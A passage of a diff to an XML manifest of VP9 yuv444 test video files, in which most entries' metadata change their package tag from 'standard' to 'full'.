   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42476,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42476,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_adaptQCom_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40885,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40885,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_adaptQVar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40726,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40726,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_0f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41940,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41940,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_0f_5s_1t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41929,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41929,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_0f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41730,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41730,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41627,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41627,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42272,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42272,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41929,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41929,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41929,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41929,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_5f_5s_3t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41929,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41929,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41896,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41896,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=45506,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=45506,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41189,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41189,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41189,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41189,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41189,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41189,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41189,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41189,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41189,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41189,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=38690,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=38690,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23831,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23831,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_80_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_errRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=43768,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=43768,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_keyFrmOnly_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=265934,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=265934,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_lossless_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=8938970,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_noKeyFrm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=37673,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=37673,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_nonErrRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp0-10_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2034935,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -40062,172 +40062,172 @@
     <value>mime=video/x-vnd.on2.vp9,size=8938970,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp0-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19507,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19507,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp10-20_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1114791,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp20-30_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=611467,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=611467,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp30-40_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=285213,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=285213,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=454219,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=454219,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp40-50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=123116,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=123116,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp50-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42880,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42880,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_Qp63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=9698,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=9698,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp1_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41781,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41781,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp2_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41807,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41807,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp3_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41687,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41687,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41661,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41661,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp5_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41776,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41776,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp6_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41685,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41685,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_sharp7_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41643,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41643,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_skip5frm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=36440,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=36440,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_upScale_100_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=60619,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=60619,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_upScale_10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_upScale_20_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_upScale_50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=37307,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=37307,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_vbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41705,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41705,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41852,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41852,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42165,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42165,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_adaptQCom_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40542,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40542,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_adaptQVar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40581,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40581,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_0f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41824,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41824,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_0f_5s_1t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41999,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41999,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_0f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41733,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41733,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41718,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41718,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42190,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42190,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41999,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41999,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41999,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41999,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_arnr_5f_5s_3t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41999,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41999,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41985,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41769,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41769,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=46168,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=46168,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41002,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41002,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41002,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41002,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_noFrmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41002,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41002,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
